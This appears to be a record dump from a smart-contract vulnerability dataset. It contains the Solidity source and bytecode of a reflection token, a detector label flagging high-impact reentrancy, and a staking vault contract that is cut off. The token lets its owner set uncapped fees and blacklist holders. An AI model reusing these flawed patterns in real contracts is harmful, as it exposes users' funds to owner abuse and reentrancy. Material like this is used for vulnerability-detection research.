uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610553578063dd62ed3e14610573578063ea1644d5146105b9578063f2fde38b146105d957600080fd5b8063a2a957bb146104ce578063a9059cbb146104ee578063bfd792841461050e578063c3c8cd801461053e57600080fd5b80638f70ccf7116100d15780638f70ccf71461044b5780638f9a55c01461046b57806395d89b411461048157806398a5c315146104ae57600080fd5b80637d1db4a5146103ea5780637f2feddc146104005780638da5cb5b1461042d57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038057806370a0823114610395578063715018a6146103b557806374010ece146103ca57600080fd5b8063313ce5671461030457806349bd5a5e146103205780636b999053146103405780636d8aa8f81461036057600080fd5b80631694505e116101ab5780631694505e1461027257806318160ddd146102aa57806323b872dd146102ce5780632fd689e3146102ee57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024257600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461195b565b6105f9565b005b34801561020a57600080fd5b506040805180820190915260098152680b4dedac4d2ca8aa8960bb1b60208201525b6040516102399190611a20565b60405180910390f35b34801561024e57600080fd5b5061026261025d366004611a75565b610698565b6040519015158152602001610239565b34801561027e57600080fd5b50601454610292906001600160a01b031681565b6040516001600160a01b039091168152602001610239565b3480156102b657600080fd5b5066038d7ea4c680005b604051908152602001610239565b3480156102da57600080fd5b506102626102e9366004611aa1565b6106af565b3480156102fa57600080fd5b506102c060185481565b34801561031057600080fd5b5060405160098152602001610239565b34801561032c57600080fd5b50601554610292906001600160a01b031681565b34801561034c57600080fd5b506101fc61035b366004611ae2565b610718565b34801561036c57600080fd5b506101fc61037b366004611b0f565b610763565b34801561038c57600080fd5b506101fc6107ab565b3480156103a157600080fd5b506102c06103b0366004611ae2565b6107f6565b3480156103c157600080fd5b506101fc610818565b3480156103d657600080fd5b506101fc6103e5366004611b2a565b61088c565b3480156103f657600080fd5b506102c060165481565b34801561040c57600080fd5b506102c061041b366004611ae2565b60116020526000908152604090205481565b34801561043957600080fd5b506000546001600160a01b0316610292565b34801561045757600080fd5b506101fc610466366004611b0f565b6108bb565b34801561047757600080fd5b506102c060175481565b34801561048d57600080fd5b506040805180820190915260048152630b48aa8960e31b602082015261022c565b3480156104ba57600080fd5b506101fc6104c9366004611b2a565b610903565b3480156104da57600080fd5b506101fc6104e9366004611b43565b610932565b3480156104fa57600080fd5b50610262610509366004611a75565b610970565b34801561051a57600080fd5b50610262610529366004611ae2565b60106020526000908152604090205460ff1681565b34801561054a57600080fd5b506101fc61097d565b34801561055f57600080fd5b506101fc61056e366004611b75565b6109d1565b34801561057f57600080fd5b506102c061058e366004611bf9565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c557600080fd5b506101fc6105d4366004611b2a565b610a72565b3480156105e557600080fd5b506101fc6105f4366004611ae2565b610aa1565b6000546001600160a01b0316331461062c5760405162461bcd60e51b815260040161062390611c32565b60405180910390fd5b60005b81518110156106945760016010600084848151811061065057610650611c67565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068c81611c93565b91505061062f565b5050565b60006106a5338484610b8b565b5060015b92915050565b60006106bc848484610caf565b61070e843361070985604051806060016040528060288152602001611dad602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111eb565b610b8b565b5060019392505050565b6000546001600160a01b031633146107425760405162461bcd60e51b815260040161062390611c32565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461078d5760405162461bcd60e51b815260040161062390611c32565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e057506013546001600160a01b0316336001600160a01b0316145b6107e957600080fd5b476107f381611225565b50565b6001600160a01b0381166000908152600260205260408120546106a99061125f565b6000546001600160a01b031633146108425760405162461bcd60e51b815260040161062390611c32565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b65760405162461bcd60e51b815260040161062390611c32565b601655565b6000546001600160a01b031633146108e55760405162461bcd60e51b815260040161062390611c32565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461092d5760405162461bcd60e51b815260040161062390611c32565b601855565b6000546001600160a01b0316331461095c5760405162461bcd60e51b815260040161062390611c32565b600893909355600a91909155600955600b55565b60006106a5338484610caf565b6012546001600160a01b0316336001600160a01b031614806109b257506013546001600160a01b0316336001600160a01b0316145b6109bb57600080fd5b60006109c6306107f6565b90506107f3816112e3565b6000546001600160a01b031633146109fb5760405162461bcd60e51b815260040161062390611c32565b60005b82811015610a6c578160056000868685818110610a1d57610a1d611c67565b9050602002016020810190610a329190611ae2565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6481611c93565b9150506109fe565b50505050565b6000546001600160a01b03163314610a9c5760405162461bcd60e51b815260040161062390611c32565b601755565b6000546001600160a01b03163314610acb5760405162461bcd60e51b815260040161062390611c32565b6001600160a01b038116610b305760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610623565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bed5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610623565b6001600160a01b038216610c4e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610623565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d135760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610623565b6001600160a01b038216610d755760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610623565b60008111610dd75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610623565b6000546001600160a01b03848116911614801590610e0357506000546001600160a01b03838116911614155b156110e457601554600160a01b900460ff16610e9c576000546001600160a01b03848116911614610e9c5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610623565b601654811115610eee5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610623565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3057506001600160a01b03821660009081526010602052604090205460ff16155b610f885760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610623565b6015546001600160a01b0383811691161461100d5760175481610faa846107f6565b610fb49190611cae565b1061100d5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610623565b6000611018306107f6565b6018546016549192508210159082106110315760165491505b8080156110485750601554600160a81b900460ff16155b801561106257506015546001600160a01b03868116911614155b80156110775750601554600160b01b900460ff165b801561109c57506001600160a01b03851660009081526005602052604090205460ff16155b80156110c157506001600160a01b03841660009081526005602052604090205460ff16155b156110e1576110cf826112e3565b4780156110df576110df47611225565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112657506001600160a01b03831660009081526005602052604090205460ff165b8061115857506015546001600160a01b0385811691161480159061115857506015546001600160a01b03848116911614155b15611165575060006111df565b6015546001600160a01b03858116911614801561119057506014546001600160a01b03848116911614155b156111a257600854600c55600954600d555b6015546001600160a01b0384811691161480156111cd57506014546001600160a01b03858116911614155b156111df57600a54600c55600b54600d555b610a6c8484848461146c565b6000818484111561120f5760405162461bcd60e51b81526004016106239190611a20565b50600061121c8486611cc6565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610694573d6000803e3d6000fd5b60006006548211156112c65760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610623565b60006112d061149a565b90506112dc83826114bd565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132b5761132b611c67565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561137f57600080fd5b505afa158015611393573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b79190611cdd565b816001815181106113ca576113ca611c67565b6001600160a01b0392831660209182029290920101526014546113f09130911684610b8b565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611429908590600090869030904290600401611cfa565b600060405180830381600087803b15801561144357600080fd5b505af1158015611457573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611479576114796114ff565b61148484848461152d565b80610a6c57610a6c600e54600c55600f54600d55565b60008060006114a7611624565b90925090506114b682826114bd565b9250505090565b60006112dc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611662565b600c5415801561150f5750600d54155b1561151657565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061153f87611690565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157190876116ed565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a0908661172f565b6001600160a01b0389166000908152600260205260409020556115c28161178e565b6115cc84836117d8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161191815260200190565b60405180910390a3505050505050505050565b600654600090819066038d7ea4c6800061163e82826114bd565b8210156116595750506006549266038d7ea4c6800092509050565b90939092509050565b600081836116835760405162461bcd60e51b81526004016106239190611a20565b50600061121c8486611d6b565b60008060008060008060008060006116ad8a600c54600d546117fc565b92509250925060006116bd61149a565b905060008060006116d08e878787611851565b919e509c509a509598509396509194505050505091939550919395565b60006112dc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111eb565b60008061173c8385611cae565b9050838110156112dc5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610623565b600061179861149a565b905060006117a683836118a1565b306000908152600260205260409020549091506117c3908261172f565b30600090815260026020526040902055505050565b6006546117e590836116ed565b6006556007546117f5908261172f565b6007555050565b6000808080611816606461181089896118a1565b906114bd565b9050600061182960646118108a896118a1565b905060006118418261183b8b866116ed565b906116ed565b9992985090965090945050505050565b600080808061186088866118a1565b9050600061186e88876118a1565b9050600061187c88886118a1565b9050600061188e8261183b86866116ed565b939b939a50919850919650505050505050565b6000826118b0575060006106a9565b60006118bc8385611d8d565b9050826118c98583611d6b565b146112dc5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610623565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f357600080fd5b803561195681611936565b919050565b6000602080838503121561196e57600080fd5b823567ffffffffffffffff8082111561198657600080fd5b818501915085601f83011261199a57600080fd5b8135818111156119ac576119ac611920565b8060051b604051601f19603f830116810181811085821117156119d1576119d1611920565b6040529182528482019250838101850191888311156119ef57600080fd5b938501935b82851015611a1457611a058561194b565b845293850193928501926119f4565b98975050505050505050565b600060208083528351808285015260005b81811015611a4d57858101830151858201604001528201611a31565b81811115611a5f576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8857600080fd5b8235611a9381611936565b946020939093013593505050565b600080600060608486031215611ab657600080fd5b8335611ac181611936565b92506020840135611ad181611936565b929592945050506040919091013590565b600060208284031215611af457600080fd5b81356112dc81611936565b8035801515811461195657600080fd5b600060208284031215611b2157600080fd5b6112dc82611aff565b600060208284031215611b3c57600080fd5b5035919050565b60008060008060808587031215611b5957600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8a57600080fd5b833567ffffffffffffffff80821115611ba257600080fd5b818601915086601f830112611bb657600080fd5b813581811115611bc557600080fd5b8760208260051b8501011115611bda57600080fd5b602092830195509350611bf09186019050611aff565b90509250925092565b60008060408385031215611c0c57600080fd5b8235611c1781611936565b91506020830135611c2781611936565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611ca757611ca7611c7d565b5060010190565b60008219821115611cc157611cc1611c7d565b500190565b600082821015611cd857611cd8611c7d565b500390565b600060208284031215611cef57600080fd5b81516112dc81611936565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d4a5784516001600160a01b031683529383019391830191600101611d25565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8857634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611da757611da7611c7d565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220be896f15a3ff62e578bafe118ddde58faa5f46558cc4fd820c940622a482383564736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 4,310 |
0x7c490872bef3d0683d8da030c1ad5e9c13e88b48
|
/**
*Submitted for verification at Etherscan.io on 2020-11-12
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.7.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call{ value : amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract pFDIVault {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
struct RewardDivide {
uint256 amount;
uint256 startTime;
uint256 checkTime;
}
string public _vaultName;
IERC20 public token0;
IERC20 public token1;
address public feeAddress;
address public vaultAddress;
uint32 public feePermill = 5;
uint256 public delayDuration = 7 days;
bool public withdrawable;
address public gov;
uint256 public totalDeposit;
mapping(address => uint256) public depositBalances;
mapping(address => uint256) public rewardBalances;
address[] public addressIndices;
mapping(uint256 => RewardDivide) public _rewards;
uint256 public _rewardCount;
event SentReward(uint256 amount);
event Deposited(address indexed user, uint256 amount);
event ClaimedReward(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
constructor (address _token0, address _token1, address _feeAddress, address _vaultAddress, string memory name) {
token0 = IERC20(_token0);
token1 = IERC20(_token1);
feeAddress = _feeAddress;
vaultAddress = _vaultAddress;
_vaultName = name;
gov = msg.sender;
}
modifier onlyGov() {
require(msg.sender == gov, "!governance");
_;
}
function setGovernance(address _gov)
external
onlyGov
{
gov = _gov;
}
function setToken0(address _token)
external
onlyGov
{
token0 = IERC20(_token);
}
function setToken1(address _token)
external
onlyGov
{
token1 = IERC20(_token);
}
function setFeeAddress(address _feeAddress)
external
onlyGov
{
feeAddress = _feeAddress;
}
function setVaultAddress(address _vaultAddress)
external
onlyGov
{
vaultAddress = _vaultAddress;
}
function setFeePermill(uint32 _feePermill)
external
onlyGov
{
feePermill = _feePermill;
}
function setDelayDuration(uint32 _delayDuration)
external
onlyGov
{
delayDuration = _delayDuration;
}
function setWithdrawable(bool _withdrawable)
external
onlyGov
{
withdrawable = _withdrawable;
}
function setVaultName(string memory name)
external
onlyGov
{
_vaultName = name;
}
function balance0()
public
view
returns (uint256)
{
return token0.balanceOf(address(this));
}
function balance1()
public
view
returns (uint256)
{
return token1.balanceOf(address(this));
}
function rewardUpdate()
public
{
if (_rewardCount > 0) {
uint256 i;
uint256 j;
for (i = _rewardCount - 1; _rewards[i].startTime < block.timestamp; --i) {
uint256 duration;
if (block.timestamp.sub(_rewards[i].startTime) > delayDuration) {
duration = _rewards[i].startTime.add(delayDuration).sub(_rewards[i].checkTime);
_rewards[i].startTime = uint256(-1);
} else {
duration = block.timestamp.sub(_rewards[i].checkTime);
}
_rewards[i].checkTime = block.timestamp;
uint256 timedAmount = _rewards[i].amount.mul(duration).div(delayDuration);
uint256 addAmount;
for (j = 0; j < addressIndices.length; j++) {
addAmount = timedAmount.mul(depositBalances[addressIndices[j]]).div(totalDeposit);
rewardBalances[addressIndices[j]] = rewardBalances[addressIndices[j]].add(addAmount);
}
if (i == 0) {
break;
}
}
}
}
function depositAll()
external
{
deposit(token0.balanceOf(msg.sender));
}
function deposit(uint256 _amount)
public
{
require(_amount > 0, "can't deposit 0");
rewardUpdate();
uint256 arrayLength = addressIndices.length;
bool found = false;
for (uint256 i = 0; i < arrayLength; i++) {
if (addressIndices[i]==msg.sender){
found=true;
break;
}
}
if(!found){
addressIndices.push(msg.sender);
}
uint256 feeAmount = _amount.mul(feePermill).div(1000);
uint256 realAmount = _amount.sub(feeAmount);
token0.safeTransferFrom(msg.sender, feeAddress, feeAmount);
token0.safeTransferFrom(msg.sender, vaultAddress, realAmount);
totalDeposit = totalDeposit.add(realAmount);
depositBalances[msg.sender] = depositBalances[msg.sender].add(realAmount);
emit Deposited(msg.sender, realAmount);
}
function sendReward(uint256 _amount)
external
{
require(_amount > 0, "can't reward 0");
require(totalDeposit > 0, "totalDeposit must bigger than 0");
token1.safeTransferFrom(msg.sender, address(this), _amount);
rewardUpdate();
_rewards[_rewardCount].amount = _amount;
_rewards[_rewardCount].startTime = block.timestamp;
_rewards[_rewardCount].checkTime = block.timestamp;
_rewardCount++;
emit SentReward(_amount);
}
function claimRewardAll()
external
{
claimReward(uint256(-1));
}
function claimReward(uint256 _amount)
public
{
require(_rewardCount > 0, "no reward amount");
rewardUpdate();
if (_amount > rewardBalances[msg.sender]) {
_amount = rewardBalances[msg.sender];
}
require(_amount > 0, "can't claim reward 0");
token1.safeTransfer(msg.sender, _amount);
rewardBalances[msg.sender] = rewardBalances[msg.sender].sub(_amount);
emit ClaimedReward(msg.sender, _amount);
}
function withdrawAll()
external
{
withdraw(uint256(-1));
}
function withdraw(uint256 _amount)
public
{
require(token0.balanceOf(address(this)) > 0, "no withdraw amount");
require(withdrawable, "not withdrawable");
rewardUpdate();
if (_amount > depositBalances[msg.sender]) {
_amount = depositBalances[msg.sender];
}
require(_amount > 0, "can't withdraw 0");
token0.safeTransfer(msg.sender, _amount);
depositBalances[msg.sender] = depositBalances[msg.sender].sub(_amount);
totalDeposit = totalDeposit.sub(_amount);
emit Withdrawn(msg.sender, _amount);
}
function availableRewardAmount(address owner)
public
view
returns(uint256)
{
uint256 i;
uint256 availableReward = rewardBalances[owner];
if (_rewardCount > 0) {
for (i = _rewardCount - 1; _rewards[i].startTime < block.timestamp; --i) {
uint256 duration;
if (block.timestamp.sub(_rewards[i].startTime) > delayDuration) {
duration = _rewards[i].startTime.add(delayDuration).sub(_rewards[i].checkTime);
} else {
duration = block.timestamp.sub(_rewards[i].checkTime);
}
uint256 timedAmount = _rewards[i].amount.mul(duration).div(delayDuration);
uint256 addAmount = timedAmount.mul(depositBalances[owner]).div(totalDeposit);
availableReward = availableReward.add(addAmount);
if (i == 0) {
break;
}
}
}
return availableReward;
}
}
|
0x608060405234801561001057600080fd5b50600436106102115760003560e01c8063a7df8c5711610125578063c78b6dea116100ad578063de5f62681161007c578063de5f6268146105da578063e2aa2a85146105e2578063e835dfbd146105ea578063f6153ccd146105f2578063fab980b7146105fa57610211565b8063c78b6dea14610573578063cbeb7ef214610590578063d21220a7146105af578063d86e1ef7146105b757610211565b8063b6b55f25116100f4578063b6b55f25146104df578063b79ea884146104fc578063b8f7928814610522578063c45c4f5814610545578063c6e426bd1461054d57610211565b8063a7df8c5714610477578063ab033ea914610494578063ae169a50146104ba578063b5984a36146104d757610211565b806344264d3d116101a857806385535cc51161017757806385535cc5146103a45780638705fcd4146103ca5780638d96bdbe146103f05780638f1e94051461041657806393c8dc6d1461045157610211565b806344264d3d146103575780635018830114610378578063637830ca14610394578063853828b61461039c57610211565b80631eb903cf116101e45780631eb903cf146103045780632e1a7d4d1461032a5780634127535814610347578063430bf08a1461034f57610211565b80630dfe16811461021657806311cc66b21461023a57806312d43a51146102e25780631c69ad00146102ea575b600080fd5b61021e610677565b604080516001600160a01b039092168252519081900360200190f35b6102e06004803603602081101561025057600080fd5b81019060208101813564010000000081111561026b57600080fd5b82018360208201111561027d57600080fd5b8035906020019184600183028401116401000000008311171561029f57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610686945050505050565b005b61021e6106ef565b6102f2610703565b60408051918252519081900360200190f35b6102f26004803603602081101561031a57600080fd5b50356001600160a01b031661077f565b6102e06004803603602081101561034057600080fd5b5035610791565b61021e61099c565b61021e6109ab565b61035f6109ba565b6040805163ffffffff9092168252519081900360200190f35b6103806109cd565b604080519115158252519081900360200190f35b6102e06109d6565b6102e06109e3565b6102e0600480360360208110156103ba57600080fd5b50356001600160a01b03166109ee565b6102e0600480360360208110156103e057600080fd5b50356001600160a01b0316610a62565b6102f26004803603602081101561040657600080fd5b50356001600160a01b0316610ad6565b6104336004803603602081101561042c57600080fd5b5035610c25565b60408051938452602084019290925282820152519081900360600190f35b6102f26004803603602081101561046757600080fd5b50356001600160a01b0316610c46565b61021e6004803603602081101561048d57600080fd5b5035610c58565b6102e0600480360360208110156104aa57600080fd5b50356001600160a01b0316610c7f565b6102e0600480360360208110156104d057600080fd5b5035610cf9565b6102f2610e3d565b6102e0600480360360208110156104f557600080fd5b5035610e43565b6102e06004803603602081101561051257600080fd5b50356001600160a01b0316611020565b6102e06004803603602081101561053857600080fd5b503563ffffffff16611094565b6102f261110c565b6102e06004803603602081101561056357600080fd5b50356001600160a01b0316611157565b6102e06004803603602081101561058957600080fd5b50356111cb565b6102e0600480360360208110156105a657600080fd5b503515156112fc565b61021e611361565b6102e0600480360360208110156105cd57600080fd5b503563ffffffff16611370565b6102e06113cd565b6102f261144a565b6102e0611450565b6102f261162c565b610602611632565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561063c578181015183820152602001610624565b50505050905090810190601f1680156106695780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6001546001600160a01b031681565b60065461010090046001600160a01b031633146106d8576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b80516106eb906000906020840190611ba7565b5050565b60065461010090046001600160a01b031681565b600154604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561074e57600080fd5b505afa158015610762573d6000803e3d6000fd5b505050506040513d602081101561077857600080fd5b5051905090565b60086020526000908152604090205481565b600154604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156107dc57600080fd5b505afa1580156107f0573d6000803e3d6000fd5b505050506040513d602081101561080657600080fd5b50511161084f576040805162461bcd60e51b81526020600482015260126024820152711b9bc81dda5d1a191c985dc8185b5bdd5b9d60721b604482015290519081900360640190fd5b60065460ff16610899576040805162461bcd60e51b815260206004820152601060248201526f6e6f7420776974686472617761626c6560801b604482015290519081900360640190fd5b6108a1611450565b336000908152600860205260409020548111156108ca5750336000908152600860205260409020545b60008111610912576040805162461bcd60e51b815260206004820152601060248201526f063616e277420776974686472617720360841b604482015290519081900360640190fd5b600154610929906001600160a01b031633836116c0565b336000908152600860205260409020546109439082611717565b336000908152600860205260409020556007546109609082611717565b60075560408051828152905133917f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5919081900360200190a250565b6003546001600160a01b031681565b6004546001600160a01b031681565b600454600160a01b900463ffffffff1681565b60065460ff1681565b6109e1600019610cf9565b565b6109e1600019610791565b60065461010090046001600160a01b03163314610a40576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600480546001600160a01b0319166001600160a01b0392909216919091179055565b60065461010090046001600160a01b03163314610ab4576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600380546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038116600090815260096020526040812054600c5482919015610c1e576001600c540391505b6000828152600b6020526040902060010154421115610c1e576005546000838152600b6020526040812060010154909190610b3f904290611717565b1115610b